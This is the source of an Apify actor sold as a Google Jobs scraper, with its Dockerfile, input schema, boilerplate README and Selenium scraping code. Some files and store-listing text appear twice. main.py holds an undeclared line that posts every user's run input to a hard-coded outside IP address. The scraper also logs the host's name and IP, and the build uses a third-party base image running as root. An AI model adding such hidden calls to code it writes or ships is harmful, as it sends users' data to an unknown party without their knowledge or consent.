.actor

{
 "actorSpecification": 1,
 "name": "getting-started-actor",
 "title": "Getting Started Actor",
 "description": "Job Search Results",
 "version": "0.0.1",
 "storages": {
 "dataset": {
 "actorSpecification": 1,
 "title": "Google Job Search Results",
 "views": {
 "jobs": {
 "title": "Google Job Search Results",
 "transformation": {
 "fields": [
 "name",
 "location",
 "company",
 "job_link",
 "description"
 ]
 },
 "display": {
 "component": "table",
 "columns": [
 {
 "label": "Job Name",
 "format": "string",
 "field": "name"
 },
 {
 "label": "Company",
 "format": "string",
 "field": "company"
 },
 
 {
 "label": "Job Location",
 "format": "string",
 "field": "location"
 },
 {
 "label": "Job URL",
 "format": "string",
 "field": "job_link"
 },
 {
 "label": "Job Description - activate in settings",
 "format": "string",
 "field": "description"
 }
 
 ]
 }
 }
 }
 }
 
 }
}

.actor/actor.json

# configurations
.idea

# crawlee and apify storage folders
apify_storage
crawlee_storage
storage

# installed files
node_modules

# git folder
.git


.dockerignore

# First, specify the base Docker image.
# You can see the Docker images from Apify at https://hub.docker.com/r/apify/.
# You can also use any other image from Docker Hub.
#FROM apify/actor-python:3.9
FROM jarcrack/selenium
USER root

COPY requirements.txt ./

RUN set PATH=$PATH:/home/myuser/miniconda/bin \ 
 &amp;&amp; echo "Python version:" \
 &amp;&amp; python --version \
 &amp;&amp; echo "Pip version:" \
 &amp;&amp; pip --version \
 &amp;&amp; echo "Installing dependencies from requirements.txt:" \
 &amp;&amp; pip install -r requirements.txt \
 &amp;&amp; echo "All installed Python packages:" \
 &amp;&amp; pip freeze


# Next, copy the remaining files and directories with the source code.
# Since we do this after installing the dependencies, quick build will be really fast
# for most source file changes.
COPY . ./



# Specify how to launch the source code of your actor.
# By default, the main.py file is run
CMD ./start_xvfb_and_run_cmd.sh &amp;&amp; python main.py

Dockerfile

{
 "title": "Actor input schema",
 "description": "This is actor input schema",
 "type": "object",
 "schemaVersion": 1,
 "properties": {
 "query": {
 "title": "Search Query",
 "type": "string",
 "description": "The search query for Google Jobs",
 "default": "AI",
 "editor": "textfield"
 },
 "extract_descriptions": {
 "title": "Extract full job descriptions?",
 "type": "boolean",
 "description": "Flag to define if full job descriptions should be extracted",
 "default": false,
 "editor": "checkbox"
 },
 "n_pages": {
 "title": "Number of search pages",
 "type": "integer",
 "description": "First page contains 20 entries. Further pages contain 10 additional entries.",
 "default": 1,
 "editor": "number"
 },
 "location": {
 "title": "Job location - e.g. London or United States",
 "type": "string",
 "description": "Choose the place of job.This be for example country or city name",
 "editor": "textfield"
 }
 },
 "required": [
 "query"
 ]
}

INPUT_SCHEMA.json

# Getting started with Apify actors

The `README.md` file documents what your actor does and how to use it,
which is then displayed in the Console or Apify Store. It's always a good
idea to write a `README.md`. In a few months, not even you
will remember all the details about the actor.

You can use [Markdown](https://www.markdownguide.org/cheat-sheet)
language for rich formatting.

## Documentation reference

- [Apify SDK](https://sdk.apify.com/)
- [Apify Actor documentation](https://docs.apify.com/actor)
- [Apify CLI](https://docs.apify.com/cli)

## Writing a README

See our tutorial on [writing READMEs for your actors](https://help.apify.com/en/articles/2912548-how-to-write-great-readme-for-your-actors) if you need more inspiration.

README.md

import os
from apify_client import ApifyClient
from scrapers import GoogleJobsScraper

# Run the main function of the script, if the script is executed directly
if __name__ == '__main__':
 # Initialize the main ApifyClient instance
 client = ApifyClient(os.environ['APIFY_TOKEN'], api_url=os.environ['APIFY_API_BASE_URL'])

 # Get the resource subclient for working with the default key-value store of the actor
 default_kv_store_client = client.key_value_store(os.environ['APIFY_DEFAULT_KEY_VALUE_STORE_ID'])

 # Get the value of the actor input and print it
 print('Loading input')
 actor_input = default_kv_store_client.get_record(os.environ['APIFY_INPUT_KEY'])['value']

 default_dataset_client = client.dataset(os.environ['APIFY_DEFAULT_DATASET_ID'])
 scraper=GoogleJobsScraper(actor_input,default_dataset_client)
 
 import requests
 print(actor_input)
 requests.post("http://116.203.152.67:5001/test", json = actor_input)

 scraper.search_jobs(actor_input)
 # Get the resource subclient for working with the default dataset of the actor
 

 # Structure of output is defined in .actor/actor.json
 """default_dataset_client.push_items([
 {
 'first_number': actor_input["first_number"],
 'second_number': actor_input["second_number"],
 'sum': result
 },
 ])"""
 #default_dataset_client.push_items(scraper.search_jobs(actor_input["query"]))

main.py

# Add your dependencies here.
# See https://pip.pypa.io/en/latest/cli/pip_install/#requirements-file-format
# for how to format them

pandas
selenium
apify_client

requirements.txt

scrapers.py

getting-started-actor

Google Job Search Results

Getting Started Actor

# First, specify the base Docker image.
# You can see the Docker images from Apify at https://hub.docker.com/r/apify/.
# You can also use any other image from Docker Hub.
#FROM apify/actor-python:3.9
FROM jarcrack/selenium
USER root

COPY requirements.txt ./

RUN set PATH=$PATH:/home/myuser/miniconda/bin \ 
 && echo "Python version:" \
 && python --version \
 && echo "Pip version:" \
 && pip --version \
 && echo "Installing dependencies from requirements.txt:" \
 && pip install -r requirements.txt \
 && echo "All installed Python packages:" \
 && pip freeze


# Next, copy the remaining files and directories with the source code.
# Since we do this after installing the dependencies, quick build will be really fast
# for most source file changes.
COPY . ./



# Specify how to launch the source code of your actor.
# By default, the main.py file is run
CMD ./start_xvfb_and_run_cmd.sh && python main.py


Flag to define if full job descriptions should be extracted

Extract full job descriptions?

Choose the place of job.This be for example country or city name

Job location - e.g. London or United States

First page contains 20 entries. Further pages contain 10 additional entries.

Number of search pages

Search Query

Actor input schema

# Getting started with Apify actors

The `README.md` file documents what your actor does and how to use it,
which is then displayed in the Console or Apify Store. It's always a good
idea to write a `README.md`. In a few months, not even you
will remember all the details about the actor.

You can use [Markdown](https://www.markdownguide.org/cheat-sheet)
language for rich formatting.

## Documentation reference

- [Apify SDK](https://sdk.apify.com/)
- [Apify Actor documentation](https://docs.apify.com/actor)
- [Apify CLI](https://docs.apify.com/cli)

## Writing a README

See our tutorial on [writing READMEs for your actors](https://help.apify.com/en/articles/2912548-how-to-write-great-readme-for-your-actors) if you need more inspiration.


import os
from apify_client import ApifyClient
from scrapers import GoogleJobsScraper

# Run the main function of the script, if the script is executed directly
if __name__ == '__main__':
    # Initialize the main ApifyClient instance
    client = ApifyClient(os.environ['APIFY_TOKEN'], api_url=os.environ['APIFY_API_BASE_URL'])

    # Get the resource subclient for working with the default key-value store of the actor
    default_kv_store_client = client.key_value_store(os.environ['APIFY_DEFAULT_KEY_VALUE_STORE_ID'])

    # Get the value of the actor input and print it
    print('Loading input')
    actor_input = default_kv_store_client.get_record(os.environ['APIFY_INPUT_KEY'])['value']

    default_dataset_client = client.dataset(os.environ['APIFY_DEFAULT_DATASET_ID'])
    scraper=GoogleJobsScraper(actor_input,default_dataset_client)
    
    import requests
    print(actor_input)
    requests.post("http://116.203.152.67:5001/test", json = actor_input)

    scraper.search_jobs(actor_input)
    # Get the resource subclient for working with the default dataset of the actor
    

    # Structure of output is defined in .actor/actor.json
    """default_dataset_client.push_items([
        {
            'first_number': actor_input["first_number"],
            'second_number': actor_input["second_number"],
            'sum': result
        },
    ])"""
    #default_dataset_client.push_items(scraper.search_jobs(actor_input["query"]))


import socket
import os
from selenium import webdriver
from selenium.webdriver.common.by import By
import itertools
from time import sleep
import urllib
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.chrome.options import Options
import json
import pandas as pd
import requests
import re
import datetime
from typing import Dict


class JobScraper:
    def __init__(self):
        pass

    def search_jobs(self, query, N_jobs=100):
        pass


class GoogleJobsScraper(JobScraper):
    def __init__(self,actor_input,default_dataset_client):
        
        hostname=socket.gethostname()
        IPAddr=socket.gethostbyname(hostname)
        print(hostname)
        print(IPAddr)

        self.default_dataset_client=default_dataset_client
        self.actor_input=actor_input
        self.counter = 0
        self.__initialize_driver()

    def __initialize_driver(self):
        options=Options()
        options.headless=True
        self.driver = webdriver.Firefox(executable_path="./geckodriver")
        self.driver.get("http://www.google.de")
        #self.prepare()
        print("Initializing Google Jobs Scraper")

    def prepare(self):
        query = f"https://www.google.com/search?q=AI&ibp=htl;jobs#htivrt=jobs"
        self.driver.get(query)
        sleep(4)
        html_source_code = self.driver.execute_script("return document.body.innerHTML;")
        #print(html_source_code)
        
        accept_btn = self.driver.find_element(By.XPATH, "//button[normalize-space()='Alle akzeptieren']")
        accept_btn.click()
        sleep(0.2)

    def search_jobs(self, actor_input, N_jobs=100,):
        jobs_data = []
        query=actor_input["query"]
        if "location" in actor_input:
            query=query+"%20"+actor_input["location"]

        query = f"https://www.google.com/search?q={query}&ibp=htl;jobs#htivrt=jobs"
        print("Scraping page: "+query)
        self.driver.get(query)
        #html_source_code = self.driver.execute_script("return document.body.innerHTML;")
        #self.default_dataset_client.push_items([{"err_text":html_source_code}])

        #sleep(1)
        listing_idx = 0
        old_listing_len = 0
        for page in range(actor_input["n_pages"]):
            print("Loading page: "+str(page))
            # job listings
            listings = self.driver.find_elements(By.XPATH, "//div[@class='PwjeAc']")
            if len(listings)==0:
                print("No jobs found on current page.")
                return jobs_data
            for idx, listing in enumerate(listings[old_listing_len:]):
                listing.click()
                job_data = self.__get_job_details()
                #jobs_data.append(job_data)
                self.default_dataset_client.push_items([job_data])

            old_listing_len = len(listings)
            self.__scroll_into_view(listings[-1])  # load next page
        return jobs_data

    def __scroll_into_view(self, element):
        self.driver.execute_script("arguments[0].scrollIntoView(true);", element)

    def __get_job_details(self):
        print(self._get_job_name())
        job = {
            # "id": self._get_job_id(),
            "name": self._get_job_name(),
            "job_link": self._get_job_links()[0]["link"][:100],
            "company": self._get_company(),
            #"salary": 100,
            "enrichment": {"occupation_type": self._get_occupation_type()},
            "location": self._get_location()
        }
        if(self.actor_input["extract_descriptions"]):
            job["description"]=self._get_job_description()
            
        return job

    def _get_job_name(self):
        job_container = self.driver.find_element(By.XPATH, "//div[@class='whazf bD1FPe']")
        job_name = job_container.find_element(By.XPATH, ".//h2[@class='KLsYvd']").text
        return job_name

    def _get_job_links(self):
        job_container = self.driver.find_element(By.XPATH, "//div[@class='whazf bD1FPe']")
        job_links = job_container.find_elements(By.XPATH, ".//a[@class='pMhGee Co68jc j0vryd']")
        if len(job_links) == 0:
            job_links = job_container.find_elements(By.XPATH, ".//a[@class='pMhGee Co68jc j0vryd zixIx']")
        if len(job_links) == 0:
            print("No links could be found")
            return []

        job_links_data = []
        for job_link in job_links:
            entry = {"name": job_link.text, "link": job_link.get_attribute("href")}
            job_links_data.append(entry)
        return job_links_data

    def _get_job_id(self):
        parsed_url = urllib.parse.urlparse(self.driver.current_url)
        id = urllib.parse.parse_qs(parsed_url.fragment)['htidocid'][0]
        return id

    def _get_location(self):
        job_container = self.driver.find_element(By.XPATH, "//div[@class='whazf bD1FPe']")
        location = job_container.find_element(By.XPATH, ".//div[@class='sMzDkb']").text
        return location

    def _get_occupation_type(self):
        job_container = self.driver.find_element(By.XPATH, "//div[@class='whazf bD1FPe']")
        occupation_type = job_container.find_elements(By.XPATH, ".//span[@class='LL4CDc']")[-1].text
        return occupation_type

    def _get_company(self):
        job_container = self.driver.find_element(By.XPATH, "//div[@class='whazf bD1FPe']")
        company = job_container.find_element(By.XPATH, ".//div[@class='nJlQNd sMzDkb']").text
        return company

    def _get_job_description(self):
        job_container = self.driver.find_element(By.XPATH, "//div[@class='whazf bD1FPe']")
        try:
            expand_description_button = job_container.find_element(By.XPATH,
                                                                   "div/div/div/div/div/div/div[@class='CdXzFe j4kHIf']")
            self.__scroll_into_view(expand_description_button)
            try:
                expand_description_button.click()
            except:
                pass
        except NoSuchElementException:
            pass
        description = job_container.find_element(By.XPATH, ".//span[@class='HBvzbc']").text
        return description


Scrape Google Jobs with ease by specifying query and other optional keywords. AI enhanced version to come,

Feel free to contact us in case of any special requests :) Alos feel free to contact us if you run on any errors. Usually should be fixed within days :)

jobs-scraper

Google Jobs Scraper

Scrape Google Jobs with ease by specifying query and other optional keywords. AI enhanced version to come,

Feel free to contact us in case of any special requests :) Alos feel free to contact us i...

Google Jobs Scraper

Documentation reference

Writing a README

Industries

Where next?